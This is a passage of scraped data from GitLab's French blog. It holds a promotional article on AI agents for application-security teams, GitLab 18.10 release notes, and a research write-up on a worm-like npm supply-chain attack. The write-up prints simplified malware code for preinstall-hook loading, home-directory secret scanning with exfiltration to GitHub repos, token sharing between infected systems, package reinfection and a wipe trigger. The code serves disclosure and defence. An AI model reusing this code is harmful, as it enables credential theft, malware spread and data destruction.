Skierlak (Customer Success Engineer, EMEA) lors du Forum InCyber 2026.*\n\nLes équipes sécurité applicative font face à une équation de plus en plus difficile à résoudre avec un volume croissant de code, de failles et de contraintes réglementaires, sans pour autant voir leurs effectifs augmenter. L'intelligence artificielle est souvent présentée comme la solution miracle, mais encore faut-il l'intégrer de façon structurée et maîtrisée dans les processus existants.\n\nDécouvrez dans cet article comment l'orchestration d'agents d’IA au sein d'une plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") unifiée transforme le quotidien des équipes AppSec, de la gestion du backlog de vulnérabilités jusqu'à la génération de rapports de conformité.\n\n> **🎯 Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !**\n\n## Le paradoxe de l'IA dans le développement logiciel\n\nL'intelligence artificielle a profondément transformé la façon dont les équipes de développement conçoivent et produisent leurs applications. [IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\"), CLI, assistants de code ou encore générateurs d'applications : il est désormais possible de produire des milliers de lignes de code par jour. Une vélocité sans précédent, mais qui dissimule un problème structurel majeur.\n\nCar plus le code s'écrit vite, plus la surface d'attaque s'étend, et les équipes sécurité n’augmentent pas proportionnellement, puisqu’en moyenne **[4 personne sont dédiées à la sécurité pour 100 développeurs](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/)**. Résultat, les backlogs de vulnérabilités s'accumulent, les délais de remédiation s'allongent, et la conformité devient un chantier sans fin.\n\nC'est ce que nous appelons le **paradoxe de l'IA** : la vitesse, seule, n'est pas un avantage si elle engendre une dette de sécurité incontrôlable.\n\nLa réponse ne réside donc pas dans un ralentissement du développement, mais dans un changement de paradigme : utiliser l'IA non plus seulement pour écrire du code, mais pour **orchestrer la sécurité** à chaque étape du cycle de vie logiciel.\n\n## Une plateforme unifiée pour mettre fin à la fragmentation des outils\n\nLa **fragmentation des outils d’IA** constitue l'un des problèmes structurels les plus répandus au sein des équipes AppSec. À chaque changement d'outil, le contexte se perd, et des agents d’IA qui ne partagent pas de contexte commun reproduisent la fragmentation des outils.\n\nC'est pourquoi l'approche de GitLab repose sur un **modèle de données unifié** où le code, les pipelines, les issues, les merge requests et les résultats de scan coexistent dans un seul et même environnement. Les agents disposent ainsi d'une vision complète du cycle de développement, ce qui leur permet de prendre des décisions mieux informées, à chaque étape.\n\nCette architecture ouvre également la voie à de nouvelles formes de collaboration. En plus des agents d’IA disponibles par défaut sur GitLab, les équipes peuvent également créer et publier des agents dans un **[catalogue d’IA](https://docs.gitlab.com/user/duo_agent_platform/ai_catalog/)**, ce qui les rend réutilisables d'un projet à l'autre. Ils s'intègrent également avec des agents externes, et peuvent opérer en parallèle au sein de flows multi-agents, traitant plusieurs tâches simultanément. Une flexibilité qui permet à chaque organisation de construire progressivement un écosystème d'automatisation aligné sur ses propres besoins.\n\nMais qu'est-ce que cela signifie concrètement pour une équipe AppSec au quotidien ? Découvrons ensemble trois cas d’usage applicables pour vous aider à accélérer le traitement et la correction des vulnérabilités  et à informer votre organisation sur vos efforts en matière de sécurité et de conformité.\n\n## Trois cas d'usage concrets pour les équipes AppSec\n\n### 1. Trier et prioriser le backlog de vulnérabilités\n\nToutes les équipes sécurité connaissent ce défi : générer un [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/) et se retrouver face à des dizaines, voire des centaines d'alertes. La question n'est pas « y a-t-il des risques ? » mais « lesquels traiter en priorité ? »\n\nPrenons l’exemple d’une équipe AppSec chargée d’analyser le backlog de vulnérabilités, d’identifier les risques et de prioriser la résolution à travers l’ensemble des applications de l’organisation.\n\nPour cela, accédons au [rapport de vulnérabilités](https://gitlab.com/groups/gitlab-com/-/security/vulnerabilities), un tableau de bord qui offre une vue d'ensemble sur la posture sécurité d'une application. Les vulnérabilités qui y figurent sont identifiées par un ensemble de scanners de sécurité exécutés systématiquement dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") et regroupés en un seul endroit : SAST, DAST, analyse des dépendances, analyse des conteneurs, détection des secrets, etc.\n\nFace à un grand nombre de risques identifiés, l'enjeu est de distinguer rapidement ce qui représente un danger réel et urgent de ce qui peut être traité ultérieurement. C'est ici que l'IA apporte une première valeur ajoutée, puisque certaines vulnérabilités sont automatiquement signalées comme de **potentiels faux positifs**.\n\n![Signalement de potentiels faux positifs avec GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581815/cxvus9f5hzfaqsbsqchc.png)\n\nEn plus des scanners de sécurité qui analysent la base de code, une analyse intelligente complémentaire à l’aide de l’IA est effectuée sur chaque vulnérabilité dans le contexte global du projet.\n\nPour en savoir plus sur ces potentiels faux positifs, nous allons interroger l’agent **[Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)** de GitLab Duo en lui demandant « Pourquoi les secrets sont-ils identifiés comme potentiels faux positifs ». L’agent va effectuer une analyse intelligente dans le contexte pour déterminer s’il y a un réel risque ou non et partager ses retours à l'équipe AppSec.\n\nDans notre cas, il n’existe aucun risque puisque ce sont des secrets d’exemple. Nous allons donc demander à l'agent d'écarter ces vulnérabilités en masse en passant le statut à « dismissed » de toutes les vulnérabilités générées par le scanner de détection des secrets et identifiées comme faux positifs, puis d'ajuster les règles de détection pour affiner les futurs scans.\n\nL'étape suivante consiste à identifier les **risques réels prioritaires**. En posant la question « Quelles vulnérabilités posent le plus grand risque pour la production ? », l'agent analyse l'ensemble des vulnérabilités, génère des rapports de priorisation avec l'impact estimé et propose un plan d'action recommandé.\n\nPour chaque vulnérabilité critique, il est possible d'obtenir une explication détaillée : sa localisation, le scanner qui l’a identifié et les recommandations de remédiation.\n\n![Analyse des risques par l'agent Security Analyst de GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775571832/vkkor8ynqmxfdloaqyc9.png)\n\nEn cliquant sur le bouton **AI vulnerability management > Explain with AI**, nous allons demander à l'IA de nous aider à obtenir une meilleure compréhension du risque en nous donnant une explication avec des recommandations et des préconisations.\n\nUne fois les priorités établies, l'agent peut **confirmer les vulnérabilités critiques et créer automatiquement une issue** pour chacune d'entre elles, permettant de tracer la remédiation. En quelques minutes, le backlog de vulnérabilités critiques et de nombreuses vulnérabilités de sévérité moyenne est réduit à un nombre maîtrisé de risques effectivement triés et assignés.\n\nUne fois les risques identifiés, encore faut-il les corriger, et le faire rapidement. C'est là qu'intervient la **génération automatique de merge requests correctives**.\n\nDepuis un ticket lié à une vulnérabilité, la fonction « **Generate MR with Duo** » lance un flow agentique qui récupère le contexte de l’issue, du projet et des informations connexes, puis génère automatiquement une merge request contenant le correctif. Chaque modification suggérée par GitLab Duo suit un processus rigoureux : passage par le pipeline CI/CD et revue de code obligatoire avec approbation par un pair pour valider le changement de code.\n\nCette [création de merge requests correctives peut être également automatisée via des **flows agentiques**](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/agentic_sast_vulnerability_resolution/), permettant de passer à l'échelle en générant systématiquement des propositions de correction pour chaque vulnérabilité confirmée.\n\nNote : la fonction « **Generate MR with Duo** » ne se limite pas aux vulnérabilités, elle s’applique aussi à d'autres cas d'usage comme le développement de fonctionnalités à partir d'une spécification ou la résolution de bugs.\n\n### 2. Collaborer avec les développeurs pour prévenir l'introduction de nouvelles vulnérabilités\n\nLe deuxième enjeu est d'empêcher l'introduction de nouveaux risques le plus tôt possible dans le cycle de développement logiciel. Lorsqu'un développeur ouvre une merge request pour implémenter une nouvelle fonctionnalité, un ensemble de vérifications automatiques s'exécutent comme la **revue de code automatique de GitLab Duo** qui permet de fournir des premiers retours sur la qualité des changements apportés.\n\n![Revue de code automatique avec GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581351/k5hm27hsnnovffqdo5z1.png)\n\nCependant, il arrive qu’une merge request se retrouve **bloquée par une [règle de sécurité](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/)** définie au niveau de l'organisation. Ces règles déterminent le seuil critique à respecter. Au-delà d'un certain niveau de risque (par exemple, des dépendances critiques), le merge est bloqué et une validation par un expert sécurité est requise.\n\nL'expert AppSec, sollicité pour faire une revue et donner son avis, doit alors se familiariser rapidement avec le changement et comprendre la vulnérabilité dans son contexte. Plutôt que de passer un temps considérable à analyser manuellement le code, les discussions et les tickets associés, ce dernier peut faire appel à GitLab Duo pour obtenir un **résumé contextuel sur les aspects liés à la sécurité** : modifications du code, discussions, issues associées et failles problématiques.\n\nSur la base de cette analyse, l’expert AppSec demande à l'agent de **publier sa recommandation directement en commentaire sur la merge request**, en taguant l'auteur de la merge request. Le développeur dispose ainsi immédiatement des préconisations de remédiation et comprend pourquoi la merge request est en échec.\n\n![Recommandation GitLab Duo en commentaire d'une merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581459/ojd9klqyodu0mwladnv3.png)\n\nCe processus permet une collaboration fluide et rapide entre les équipes chargées de la sécurité et du développement, réduisant considérablement le temps nécessaire pour contextualiser un risque et communiquer les actions correctives.\n\n### 3. Générer des rapports de conformité et d’audit\n\nLe dernier cas d'usage répond à un besoin récurrent : donner de la **visibilité au management et aux auditeurs** sur la posture sécurité et la conformité des applications. Dans GitLab, un projet peut être associé à un **framework de conformité** (par exemple, la [norme ISO 27001)](https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/ \"ISO 27001\"), indiquant qu'il est soumis à un ensemble de règles spécifiques auquel il doit se conformer.\n\nEn demandant à l'agent Security Analyst de générer un résumé de l'état actuel de l'application en matière de sécurité et de conformité, celui-ci produit un **rapport complet** comprenant : une évaluation globale des risques, une analyse détaillée des vulnérabilités (y compris celles déjà triées et confirmées), des indicateurs de progression, une priorisation des actions restantes et des retours spécifiques par rapport à la norme de conformité applicable.\n\n![Rapport de l'agent Security Analyst](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775581612/mxiamj7z71rqrocxx2lx.png)\n\nCe rapport, généré en quelques minutes, permet de démontrer l'amélioration continue et de partager un état des lieux clair et structuré, là où ce travail aurait traditionnellement nécessité un effort manuel considérable.\n\nÀ travers ces trois cas d'usage, GitLab Duo permet aux équipes AppSec d'accélérer de façon significative la priorisation des risques, l'assignation et la réalisation des corrections, la collaboration avec les développeurs et la production de rapports de conformité. Des tâches qui prenaient habituellement des heures se réalisent désormais en quelques minutes, tout en maintenant les exigences de qualité, de traçabilité et de validation humaine à chaque étape.\n\n## L'équipe AppSec devient chef d'orchestre\n\nCe changement de paradigme est fondamental. Les équipes sécurité ne sont plus un goulot d'étranglement que l’on vient solliciter en dernier recours. Elles deviennent les **architectes des workflows** que les agents exécutent, tout en gardant la maîtrise de bout en bout.\n\nConcrètement, cela se traduit par trois responsabilités clés :\n\n* **Définir les règles** : quelles politiques de sécurité s'appliquent, à quel seuil bloque-t-on une merge request, quels frameworks de conformité sont requis ?\n* **Choisir les workflows** : quels agents activer, pour quels types de vulnérabilités, avec quelles automatisations ?\n* **Garder le contrôle** : toutes les actions des agents restent auditables et les validations humaines sont maintenues aux étapes critiques.\n\nEn déléguant l'exécution aux agents, les experts sécurité se concentrent sur la stratégie et peuvent couvrir un périmètre toujours plus large, sans avoir besoin de multiplier les effectifs. C'est la réponse concrète au paradoxe de l'IA : la vitesse du développement augmente, mais la sécurité suit le rythme grâce à une orchestration maîtrisée.\n\n## Déployer l'IA en toute souveraineté\n\nAdopter l'IA dans un contexte de sécurité soulève légitimement des questions sur la maîtrise des données. Pour y répondre, GitLab propose plusieurs modèles de déploiement adaptés aux exigences de chaque organisation :\n\n* **GitLab Self-Managed** : hébergé dans votre propre infrastructure, pour un contrôle total.\n* **GitLab.com** : une offre SaaS entièrement gérée par GitLab.\n* **GitLab Dedicated** : un SaaS dédié, déployé dans la région de votre choix.\n\nQuel que soit le modèle retenu, les organisations conservent la maîtrise de leurs données. Elles peuvent choisir leurs propres [grands modèles de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\") et disposent d'options air-gapped avec des LLM auto-hébergés, garantissant qu'aucune donnée n'est retenue par les fournisseurs d'IA. La souveraineté n'est pas une contrainte à gérer après coup : elle est intégrée dès la conception. Pour en savoir plus, [consultez notre documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/).\n\n## En résumé\n\nL'orchestration d'agents d’IA au service des équipes sécurité répond à un problème concret : faire plus avec les mêmes équipes, sans sacrifier la qualité ni le contrôle.\n\nLes trois enseignements clés à retenir :\n\n* **L’IA sans gouvernance crée autant de risques qu’elle en résout** : accélérer le développement sans intégrer la sécurité en amont amplifie l’exposition. La vitesse seule n’est pas un avantage si elle génère une dette de sécurité.\n* **Le contexte unifié est la clé de l’orchestration agentique** : des agents qui ne partagent pas de contexte reproduisent la fragmentation des outils. Avec le modèle de données unifié de GitLab, les agents peuvent agir avec une vision complète du cycle de vie.\n* **L'équipe AppSec orchestre, les agents exécutent** : avec les bons garde-fous et les bons agents, les équipes sécurité couvrent un périmètre qui grandit en permanence. En déléguant l’exécution, elles se concentrent sur la stratégie.\n\n> **🎯 Prêt à accélérer votre sécurité applicative ? Essayez [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès aujourd'hui !**","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png",{"featured":13,"template":806,"slug":1184},"orchestrating-agentic-ai-to-boost-your-security-teams",{"content":1186,"config":1193},{"title":1187,"description":1188,"authors":1189,"heroImage":804,"date":1143,"body":1191,"category":768,"tags":1192},"GitLab 18.10 introduit le classement et la remédiation avec l'IA native","Découvrez les fonctionnalités de GitLab Duo Agent Platform qui réduisent le bruit, identifient les vulnérabilités les plus importantes et transforment les résultats en propositions de remédiation.",[1190],"Alisa Ho","GitLab 18.10 introduit de nouvelles fonctionnalités de sécurité basées sur l'IA, conçues pour améliorer la qualité et la rapidité de la [gestion des vulnérabilités](https://about.gitlab.com/fr-fr/blog/what-is-vulnerability-management/ \"Qu'est-ce que la gestion des vulnérabilités ?\"). Ensemble, ces fonctionnalités contribuent à réduire le temps que les équipes de développement consacrent à l'analyse des faux positifs et intègrent la remédiation automatisée directement dans leur workflow, afin qu'elles puissent corriger les vulnérabilités sans connaissances spécialisées dans la sécurité.\n\nVoici les nouveautés :\n\n* [**La détection des faux positifs pour les tests statiques de sécurité des applications (SAST)**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **est désormais en disponibilité générale.** Ce flow utilise un [grand modèle de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\") pour le raisonnement agentique afin de déterminer la probabilité qu'une vulnérabilité soit un faux positif et permet ainsi aux équipes de sécurité et de développement de se concentrer en priorité sur la correction des vulnérabilités critiques.\n* [**La résolution des vulnérabilités SAST avec l'IA agentique**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **est désormais disponible en version bêta.** La résolution des vulnérabilités SAST avec l'IA agentique crée automatiquement une merge request avec un correctif proposé pour les vulnérabilités SAST vérifiées, ce qui réduit le délai de remédiation et limite le besoin d'une expertise approfondie en sécurité.\n* [**La détection des faux positifs pour les secrets**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **est désormais disponible en version bêta.** Ce flow applique la même réduction de bruit basée sur l'IA à la détection des secrets, en signalant les secrets factices et de test afin de réduire l'effort de revue.\n\nCes flows sont disponibles pour les clients [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\") qui utilisent GitLab Duo Agent Platform.\n\n## Réduire le temps de classement grâce à la détection des faux positifs SAST\n\nLes scanners SAST traditionnels signalent chaque modèle de code suspect qu'ils détectent, indépendamment de l'accessibilité des chemins de code ou de la prise en charge du risque par les frameworks. Sans contexte d'exécution, ils ne peuvent pas distinguer une véritable vulnérabilité d'un code sûr qui semble simplement dangereux.\n\nLes équipes de développement peuvent ainsi passer des heures à examiner des résultats qui s'avèrent être des faux positifs. Au fil du temps, cette situation peut éroder la confiance dans le rapport et ralentir les équipes chargées de corriger les risques réels.\n\nAprès chaque scan SAST, GitLab Duo Agent Platform analyse automatiquement les nouveaux résultats de gravité critique et élevée, et y associe :\n\n* Un score de confiance indiquant la probabilité que le résultat soit un faux positif\n* Une explication générée par l'IA qui décrit le raisonnement\n* Un badge visuel qui permet de distinguer facilement les faux positifs probables des résultats probablement réels dans l'interface utilisateur\n\nCes résultats apparaissent dans le [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/), comme illustré ci-dessous. Vous pouvez filtrer le rapport pour vous concentrer sur les résultats qui ne sont pas des faux positifs, afin que les équipes consacrent leur temps à traiter les vulnérabilités réelles plutôt qu'à classer des résultats sans importance. \n\n![Rapport de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nL'évaluation de GitLab Duo Agent Platform est une recommandation. Vous gardez le contrôle sur chaque faux positif pour déterminer sa validité, et vous pouvez vérifier le raisonnement de l'agent à tout moment pour renforcer votre confiance dans le modèle.\n\n\n## Transformer les vulnérabilités en correctifs automatisés\n\nSavoir qu'une vulnérabilité est réelle ne représente que la moitié du travail. La remédiation nécessite encore de comprendre le chemin de code, de rédiger un correctif sécurisé et de s'assurer que rien d'autre n'est affecté.\n\nSi la vulnérabilité est identifiée comme probablement réelle par le flow SAST False Positive Detection, le flow Agentic SAST Vulnerability Resolution effectue automatiquement les étapes suivantes :\n\n1. Lecture du code vulnérable et du contexte environnant depuis votre dépôt\n2. Génération de correctifs proposés de haute qualité\n3. Validation des correctifs par des tests automatisés\n4. Ouverture d'une merge request avec un correctif proposé comprenant :\n   * Les modifications concrètes du code\n   * Un score de confiance\n   * Une explication des changements apportés et leur justification\n\nDans cette démonstration, vous verrez comment GitLab peut automatiquement traiter une vulnérabilité SAST, de la détection jusqu'à la création d'une merge request prête à être examinée. Observez comment l'agent lit le code, génère et valide un correctif, puis ouvre une merge request avec des modifications claires et explicites, afin que les équipes de développement puissent corriger le problème plus rapidement sans être des experts en sécurité.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nComme pour toute suggestion générée par l'IA, il est recommandé d'examiner attentivement la merge request proposée avant de procéder au merge.\n\n## Identifier les secrets réels\nLa détection des secrets n'est utile que si les équipes font confiance aux résultats. Lorsque les rapports regorgent d'identifiants de test, de valeurs de remplacement et de tokens d'exemple, les équipes de développement risquent de perdre du temps à examiner des informations superflues au lieu de corriger les expositions réelles. Cette situation peut ralentir la remédiation des vulnérabilités et réduire la confiance dans le scan.\n\nLa détection des faux positifs pour les secrets aide les équipes à se concentrer sur les secrets importants afin de réduire les risques plus rapidement. Lors de l'exécution sur la branche par défaut, le flow effectue automatiquement les étapes suivantes :\n\n1. Analyse de chaque résultat pour repérer les identifiants de test, les valeurs d'exemple et les secrets factices potentiels\n2. Attribution d'un score de confiance qui indique si le résultat représente un risque réel ou un probable faux positif\n3. Génération d'une explication justifiant pourquoi le secret est considéré comme réel ou comme un faux positif\n4. Ajout d'un badge dans le rapport de vulnérabilités pour que les équipes de développement puissent voir le statut en un seul coup d'œil\n\nLes équipes de développement peuvent également déclencher cette analyse manuellement depuis le rapport de vulnérabilités en sélectionnant **« Vérifier les faux positifs »** sur n'importe quel résultat de détection de secrets, ce qui leur permet d'éliminer les résultats sans risque et de se concentrer plus rapidement sur les véritables secrets.\n\n## Adoptez la sécurité basée sur l'IA dès aujourd'hui\n\nGitLab 18.10 introduit des fonctionnalités couvrant l'ensemble du workflow de gestion des vulnérabilités, de la réduction du bruit lié aux faux positifs dans les scans SAST et la détection des secrets à la génération automatique de merge requests avec des correctifs proposés.\n\nPour découvrir comment la sécurité basée sur l'IA peut réduire le temps de revue et transformer les résultats en correctifs prêts à être fusionnés, [commencez un essai gratuit de GitLab Duo Agent Platform dès maintenant](https://about.gitlab.com/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr).",[756,768,798],{"featured":652,"template":806,"slug":1194},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"category":782,"slug":780,"posts":1196},[1197],{"content":1198,"config":1209},{"tags":1199,"category":780,"date":1201,"heroImage":1202,"title":1203,"description":1204,"authors":1205,"body":1208},[1200,768],"security research","2025-11-25","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLab découvre une attaque généralisée de la chaîne d'approvisionnement npm","Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.",[1206,1207],"Daniel Abeles","Michael Henriksen","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « [Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) ».\n\nLes premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un **mécanisme d'autodestruction** qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.\n\n**Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.**\n\n## Analyse de l'attaque\n\nNotre système de surveillance interne, qui analyse les registres de paquets [open source](https://about.gitlab.com/fr-fr/blog/2025/04/16/what-is-open-source/ \"Qu'est-ce que l'open source ?\") à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :\n\n* Collecte les identifiants de GitHub, npm, AWS, GCP et Azure.\n* Exfiltre les données volées vers des dépôts GitHub contrôlés par les attaquants.\n* Se propage en infectant automatiquement d'autres paquets appartenant aux victimes.\n* **Contient une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure.**\n\nBien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.\n\n## Analyse technique : déroulement de l'attaque\n\n![Diagramme Mermaid qui illustre le déroulement de l'attaque](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### Vecteur d'infection initial\n\nLe logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un `package.json` modifié avec un script de pré-installation pointant vers `setup_bun.js`. Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.\n\n```javascript\n// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nLe fichier `setup_bun.js` télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile `bun_environment.js`, un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.\n\n### Collecte des identifiants\n\nUne fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :\n\n* **Tokens GitHub** : il recherche dans les variables d'environnement et les configurations de l'interface de ligne de commande (CLI) GitHub les tokens commençant par `ghp_` (token d'accès personnel GitHub) ou `gho_` (token OAuth GitHub).\n* **Identifiants cloud** : il énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels et vérifie les variables d'environnement, les fichiers de configuration et les services de métadonnées.\n* **Tokens npm** : il extrait les tokens de publication de paquets des fichiers `.npmrc` et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.\n* **Analyse du système de fichiers** : il télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'intégralité du répertoire personnel à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique [git](https://about.gitlab.com/fr-fr/blog/2024/10/08/what-is-git/ \"Qu'est-ce que Git ?\").\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### Réseau d'exfiltration de données\n\nLe logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.\n\n```javascript\nasync function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n```\n\nSi le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.\n\n```javascript\n// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n```\n\n### Propagation dans la chaîne d'approvisionnement\n\nEn utilisant les tokens npm volés, le logiciel malveillant :\n\n1. Télécharge tous les paquets maintenus par la victime.\n2. Injecte le fichier `setup_bun.js` dans les scripts de pré-installation de chaque paquet.\n3. Regroupe la charge utile malveillante `bun_environment.js`.\n4. Incrémente le numéro de version du paquet.\n5. Republie les paquets infectés sur npm.\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## Mécanisme d'autodestruction\n\nNotre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.\n\nLe malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise `shred` pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.\n\n```javascript\n// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 